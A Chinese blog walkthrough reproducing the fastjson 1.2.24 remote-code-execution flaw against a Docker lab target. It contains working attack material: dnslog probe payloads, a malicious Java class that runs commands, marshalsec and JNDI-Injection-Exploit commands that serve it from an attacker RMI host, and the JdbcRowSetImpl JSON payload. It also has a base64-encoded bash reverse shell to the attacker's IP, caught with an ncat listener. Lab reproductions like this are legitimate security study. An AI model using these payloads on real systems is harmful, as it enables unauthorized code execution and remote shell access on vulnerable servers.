当前位置: 首页 > article >正文

fastjson【1224--rce】漏洞初探索及复现

机器说明

靶机:docker搭建的fastjson环境,其ip地址为192.168.10.6

攻击:

网站服务器为windows物理机,ip地址为192.168.10.9

RMI服务,也是建立在windows物理机,ip地址为192.168.10.9

fastjson判断识别

首先先确定是否为jsonjson有其特征

通过返回包判断是否使用了 Fastjson。例如,如果提交方式改为 POST,并且 JSON 字符串花括号不闭合,返回包中可能会出现 Fastjson 字样

这里可以通过burp抓取数据包,然后判断

抓取原始的数据请求,可以看到是get请求,并且json

那么现在把请求改为post,然后查看返回是否有提示

通过不闭合花括号测试,不过这里测试,发现返回 并没有提示,不过方法知道

漏洞判断

目前确定是json了,那么是否存在漏洞,进一步探测,测试是否可出网,借助dnslog

//这是老版本的构造
{"test":
    {
  		"@type":"java.net.Inet4Address",
  		"val":"5go1j8.dnslog.cn"
	}
}

//1.2.67版本后payload
{
  	"@type":"java.net.Inet4Address",
  	"val":"5go1j8.dnslog.cn"
}

fastjson1224-rce复现

编译class文件执行命令

首先在自己的服务器上创建一个test.java文件,然后编译为class文件。java代码如下

// javac test.java
import java.lang.Runtime;
import java.lang.Process;

public class test{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后执行javac test.java,就可以在当前目录下生成一个test.class文件,主要的就是这个文件,确保靶机可以访问到服务器。

这里还使用到一个工具marshalsec-0.0.3-SNAPSHOT-all.jar,这个在gihub上是有项目地址的,有编译好的,也有未编译好的。https://github.com/RandomRobbieBF/marshalsec-jar.git

在服务器上执行下面的语句,使得启动一个RMI服务器,监听9999端口,并指定加载远程类test.class

这里建议采用java8,我这里是安装java8后,使用其绝对路径。java8的官网下载https://www.java.com/zh-cn/download/manual.jsp

C:\"Program Files"\Java\jre1.8.0_441\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.10.9:1234/#test 9999

执行之后,这里已经开始监听了

现在就是需要通过burp抓取之前的数据包,并对其做出修改,使得其json数据中,请求了这个服务器中的文件

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.10.9:9999/test",
        "autoCommit":true
    }
}

构造后,点击发送,虽然服务器的反应是500,但是通过rmi服务器可以看到成功获取了

这里看看rmi服务器的监听

但是不知道为什么,在靶机就是没有看到对应的文件。

然后我采用python3开启简易的服务,发现已经请求了test.class文件,但是不知道为什么,没有执行创建的命令

网上查了一下,这个对于java的环境要求严格,进行编译文件的javac,其版本也必须是1.8啧,去官网下载还需要再注册一下,有点麻烦了。所以换一个工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

借助另一个工具

首先还是需要java8的环境,因为前面我只下载了java8对于javac并没有下载,所以换工具

windows中执行代码,启动工具

& 'C:\Program Files\Java\jre1.8.0_441\bin\java.exe' -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/success' -A 192.168.10.9

然后选择1.8版本的rmi链接,再到burp中重新放包即可

这时候去docker中去验证一下是否创建这个文件

docker exec -it 559c50c831db /bin/bash

说明命令成功了,那么再构造反弹shell测试

& 'C:\Program Files\Java\jre1.8.0_441\bin\java.exe' -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTAuOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.10.9

还是访问1.8版本的,大致如下

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.10.9:1099/97idjg",
        "autoCommit":true
    }
}

然后在windows中使用ncat.exe开启监听9999端口。

这时候再通过burp抓取数据包修改,即可成功反弹shell

总结

该漏洞,主要就是因为可以出网,并且通过函数导致命令可以在请求的时候,执行相关命令

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.10.9:1099/97idjg",
        "autoCommit":true
    }
}

这是主要利用代码,就是通过json格式的数据传给服务器,dataSourceName可以执行rmi中的class文件的内容


http://www.kler.cn/a/597424.html

相关文章:

  • 高速网络包处理,基础网络协议上内核态直接处理数据包,XDP技术的原理
  • 对顶堆简介 → 第K大问题 + topK问题
  • 【STM32实物】基于STM32的扫地机器人/小车控制系统设计
  • vulhub/Web Machine(N7)靶机----练习攻略
  • FPGA-DE2115开发板实现流水灯
  • Android Window浮窗UI组件使用JetPack
  • 小程序多语言
  • 基于深度学习的医学影像分割:从理论到实践
  • 计算机考研-数据结构2.2
  • 爬虫——将数据保存到MongoDB中
  • Vue 双向数据绑定是什么
  • STM32原理性知识
  • 《深入剖析鸿蒙生态原生应用:一次开发多端部署的技术革新》
  • 【数学建模】Lingo 18.0及其安装教程(保姆级)
  • 【Qt】自定义委托(Delegate)的核心方法
  • 基于Netty实现高性能HTTP服务的架构解析
  • Apache APISIX 架构浅析
  • 如何解决 PHP 运行时错误导致的服务中断
  • 网页性能优化中 有一条叫做“避免使用未合成的动画”,请问该如何理解?
  • vim在连续多行行首插入相同的字符